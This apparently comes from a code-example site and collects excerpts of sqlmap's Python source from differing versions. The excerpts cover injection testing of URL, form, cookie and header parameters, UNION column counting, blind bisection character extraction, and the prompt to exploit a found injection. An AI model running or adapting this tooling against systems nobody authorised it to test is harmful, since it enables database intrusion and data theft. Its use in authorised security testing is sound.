            if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query,
                                       re.I):
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    setTechnique(PAYLOAD.TECHNIQUE.UNION)
                    kb.forcePartialUnion = kb.injection.data[
                        PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[
                        PAYLOAD.TECHNIQUE.
                        UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(
                            forgeCaseExpression if expected == EXPECTED.BOOL
                            else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = "something went wrong with full UNION "
                        warnMsg += "technique (could be because of "
                        warnMsg += "limitation on retrieved number of entries)"
                        if " FROM " in query.upper():
                            warnMsg += ". Falling back to partial UNION technique"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value
                                         is not None) or (value is None
                                                          and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    setTechnique(PAYLOAD.TECHNIQUE.ERROR if
                                 isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR)
                                 else PAYLOAD.TECHNIQUE.QUERY)
                    value = errorUse(
                        forgeCaseExpression
                        if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
                    _ = "".join(
                        filterNone(
                            key if isTechniqueAvailable(value) else None
                            for key, value in {
                                'E': PAYLOAD.TECHNIQUE.ERROR,
                                'Q': PAYLOAD.TECHNIQUE.QUERY,
                                'U': PAYLOAD.TECHNIQUE.UNION
                            }.items()))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
                         or isTechniqueAvailable(
                             PAYLOAD.TECHNIQUE.STACKED)) and not found:
                match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)",
                                  expression)
                kb.responseTimeMode = "%s|%s" % (
                    match.group(1), match.group(2)) if match else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    setTechnique(PAYLOAD.TECHNIQUE.TIME)
                else:
                    setTechnique(PAYLOAD.TECHNIQUE.STACKED)

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True
        kb.responseTimeMode = None

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any(
        (kb.testMode, conf.dummy,
         conf.offline)) and value is None and Backend.getDbms(
         ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' "
        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (
            DBMS.ACCESS, DBMS.FIREBIRD) else ""
        singleTimeWarnMessage(warnMsg)

    # Dirty patch (safe-encoded unicode characters)
    if isinstance(value, six.text_type) and "\\x" in value:
        try:
            candidate = eval(
                repr(value).replace("\\\\x", "\\x").replace(
                    "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
            if "\\x" not in candidate:
                value = candidate
        except:
            pass

    return extractExpectedValue(value, expected)
Пример #49
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:

            if conf.checkInternet:
                infoMsg = "checking for Internet connection"
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime(
                        "%X")
                    dataToStdout(warnMsg)

                    while not checkInternet():
                        dataToStdout('.')
                        time.sleep(5)

                    dataToStdout("\n")

            conf.url = targetUrl
            conf.method = targetMethod.upper(
            ) if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            conf.httpHeaders = [
                conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders))
                if conf.httpHeaders[i][0].upper() not in (
                    __[0].upper() for __ in conf.httpHeaders[i + 1:])
            ]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any(
                (conf.data, conf.testParameter)):
                for parameter in re.findall(
                        r"([^=]+)=([^%s]+%s?|\Z)" %
                    (re.escape(conf.paramDel or "") or
                     DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
                     or DEFAULT_GET_POST_DELIMITER),
                        conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET,
                                parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"

                    kb.skipVulnHost = readInput(message,
                                                default='Y',
                                                boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
                                                      targetUrl)
                else:
                    message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
                                                  targetUrl)

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % (
                        (conf.method if conf.method != HTTPMETHOD.GET
                         else conf.method) or HTTPMETHOD.POST,
                        urlencode(conf.data) if conf.data else "")

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(
                            "?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (
                                conf.method,
                                urlencode(conf.data) if conf.data else "None",
                                " (Warning: blank fields detected)"
                                if conf.data and extractRegexResult(
                                    EMPTY_FORM_FIELDS_REGEX, conf.data) else
                                "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(
                                conf.data) if conf.data and urlencode(
                                    DEFAULT_GET_POST_DELIMITER,
                                    None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
                    elif choice == 'Q':
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms
                                   ) or not checkString() or not checkRegexp():
                continue

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or
                (len(kb.injections) == 1 and kb.injections[0].place is None)
                ) and (kb.injection.place is None
                       or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp
                            )) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
                             PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0
                             and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(
                        PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(
                        PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(
                        HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect(
                        (PLACE.COOKIE, ), conf.testParameter, True))

                    if skip:
                        continue

                    if kb.testOnlyCustom and place not in (
                            PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (
                        None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter
                                 for _ in (parameter,
                                           removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(
                                ' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (
                                re.search(conf.paramExclude, parameter, re.I)
                                or kb.postHint
                                and re.search(conf.paramExclude,
                                              parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = "skipping %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(
                                conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (
                                parameter.upper() in IGNORE_PARAMETERS
                                or any(_ in parameter.lower()
                                       for _ in CSRF_TOKEN_PARAMETER_INFIXES)
                                or parameter.upper().startswith(
                                    GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = "skipping static %sparameter '%s'" % (
                                        "%s " % paramType if paramType !=
                                        parameter else "", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = "%sparameter '%s' appears to be dynamic" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(
                                    place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (
                                            kb.ignoreCasted and check
                                            == HEURISTIC_TEST.CASTED):
                                        infoMsg = "skipping %sparameter '%s'" % (
                                            "%s " % paramType if paramType !=
                                            parameter else "", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = "testing for SQL injection on %sparameter '%s'" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(
                                    place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, "place",
                                           None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = "%sparameter '%s' " % (
                                            "%s " %
                                            injection.place if injection.place
                                            != injection.parameter else "",
                                            injection.parameter)
                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "

                                        if not readInput(msg,
                                                         default='N',
                                                         boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname,
                                                        conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = "%sparameter '%s' does not seem to be injectable" % (
                                        "%s " % paramType if paramType !=
                                        parameter else "", parameter)
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1
                                           and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(
                                r"<form", kb.originalPage) is not None:
                            advice.append("--forms")
                        if not conf.crawlDepth and re.search(
                                r"href=[\"']/?\w",
                                kb.originalPage) is not None:
                            advice.append("--crawl=2")
                        if advice:
                            errMsg += ". You are advised to rerun with '%s'" % ' '.join(
                                advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters do not appear to be injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase values for '--level'/'--risk' options "
                        errMsg += "if you wish to perform more tests."

                    if isinstance(conf.technique,
                                  list) and len(conf.technique) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (
                            100.0 *
                            len(getFilteredPageContent(kb.originalPage)) /
                            len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests."

                    if conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could try to use "
                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"

                        if not conf.randomAgent:
                            errMsg += " and/or switch '--random-agent'"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += ", skipping to the next %s" % ("form" if conf.forms
                                                         else "URL")
                logger.error(errMsg.lstrip(", "))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = "it appears that the target "
                warnMsg += "has a maximum connections "
                warnMsg += "constraint"
                logger.warn(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" %
                    conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFilename:
            infoMsg = "you can find results of scanning in multiple targets "
            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
            logger.info(infoMsg)

    return True
Пример #50
0
def getValue(expression,
             blind=True,
             union=True,
             error=True,
             time=True,
             fromUser=False,
             expected=None,
             batch=False,
             unpack=True,
             resumeValue=True,
             charsetType=None,
             firstChar=None,
             lastChar=None,
             dump=False,
             suppressOutput=None,
             expectingNone=False,
             safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith("SELECT "):
                booleanExpression = expression[len("SELECT "):]
                if re.search(r"(?i)\(.+\)\Z", booleanExpression):
                    booleanExpression = "%s=%s" % (
                        booleanExpression,
                        "'1'" if "'1'" in booleanExpression else '1')
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected ==
                           EXPECTED.BOOL else expression)

        elif any(
                map(isTechniqueAvailable,
                    getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not 'COUNT(*)' in query:
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = __goUnion(
                        forgeCaseExpression
                        if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and isTechniqueAvailable(
                        PAYLOAD.TECHNIQUE.ERROR) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR
                    value = errorUse(
                        forgeCaseExpression
                        if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = "".join(
                        filter(None,
                               (key if isTechniqueAvailable(value) else None
                                for key, value in {
                                    "E": PAYLOAD.TECHNIQUE.ERROR,
                                    "U": PAYLOAD.TECHNIQUE.UNION
                                }.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression)
                else:
                    value = __goInferenceProxy(query, fromUser, batch, unpack,
                                               charsetType, firstChar,
                                               lastChar, dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
                         or isTechniqueAvailable(
                             PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression)
                else:
                    value = __goInferenceProxy(query, fromUser, batch, unpack,
                                               charsetType, firstChar,
                                               lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip() if value.strip() else value[:1]
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise sqlmapNotVulnerableException, errMsg

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms(
    ) and conf.dbmsHandler:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' and/or switch '--hex'"
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #51
0
def __findUnionCharCount(comment,
                         place,
                         parameter,
                         value,
                         prefix,
                         suffix,
                         where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO

    for count in range(lowerCount, upperCount + 1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix,
                                       conf.uChar)
        payload = agent.payload(place=place,
                                parameter=parameter,
                                newValue=query,
                                where=where)
        page, _ = Request.queryPage(payload,
                                    place=place,
                                    content=True,
                                    raise404=False)
        ratio = comparison(page, True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    ratios.pop(ratios.index(min_))
    ratios.pop(ratios.index(max_))

    deviation = stdev(ratios)

    if abs(max_ - min_) < MIN_STATISTICAL_RANGE:
        return None

    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(
        ratios) + UNION_STDEV_COEFF * deviation
    minItem, maxItem = None, None

    for item in items:
        if item[1] == min_:
            minItem = item
        elif item[1] == max_:
            maxItem = item

    if min_ < lower:
        retVal = minItem[0]

    if max_ > upper:
        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
            retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
        logger.info(infoMsg)

    return retVal
Пример #52
0
    def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None):
        """
        continuousOrder means that distance between each two neighbour's
        numerical values is exactly 1
        """
        
        result = tryHint(idx)

        if result:
            return result

        if not continuousOrder:
            originalTbl = list(charTbl)
        else:
            # Used for gradual expanding into unicode charspace
            shiftTable = [5, 4]

        if len(charTbl) == 1:
            forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0]))
            queriesCount[0] += 1
            result = Request.queryPage(forgedPayload)

            if result:
                return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0])
            else: 
                return None

        maxChar = maxValue = charTbl[-1]
        minChar = minValue = charTbl[0]

        while len(charTbl) != 1:
            position = (len(charTbl) >> 1)
            posValue = charTbl[position]

            if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB):
                pushValue(posValue)
                posValue = chr(posValue) if posValue < 128 else unichr(posValue)

            forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))

            queriesCount[0] += 1
            result = Request.queryPage(forgedPayload)

            if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB):
                posValue = popValue()

            if result:
                minValue = posValue

                if type(charTbl) != xrange:
                    charTbl = charTbl[position:]
                else:
                    # xrange() - extended virtual charset used for memory/space optimization
                    charTbl = xrange(charTbl[position], charTbl[-1] + 1)
            else:
                maxValue = posValue

                if type(charTbl) != xrange:
                    charTbl = charTbl[:position]
                else:
                    charTbl = xrange(charTbl[0], charTbl[position])

            if len(charTbl) == 1:
                if continuousOrder:
                    if maxValue == 1:
                        return None

                    # Going beyond the original charset
                    elif minValue == maxChar:
                        # If the original charTbl was [0,..,127] new one
                        # will be [128,..,128*16-1] or from 128 to 2047
                        # and instead of making a HUGE list with all the
                        # elements we use a xrange, which is a virtual
                        # list
                        if expand and shiftTable:
                            charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                            maxChar = maxValue = charTbl[-1]
                            minChar = minValue = charTbl[0]
                        else:
                            return None
                    else:
                        retVal = minValue + 1
                        return chr(retVal) if retVal < 128 else unichr(retVal)
                else:
                    if minValue == maxChar or maxValue == minChar:
                        return None

                    # If we are working with non-continuous elements, set
                    # both minValue and character afterwards are possible
                    # candidates
                    for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
                        forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal))
                        queriesCount[0] += 1
                        result = Request.queryPage(forgedPayload)

                        if result:
                            return chr(retVal) if retVal < 128 else unichr(retVal)

                    return None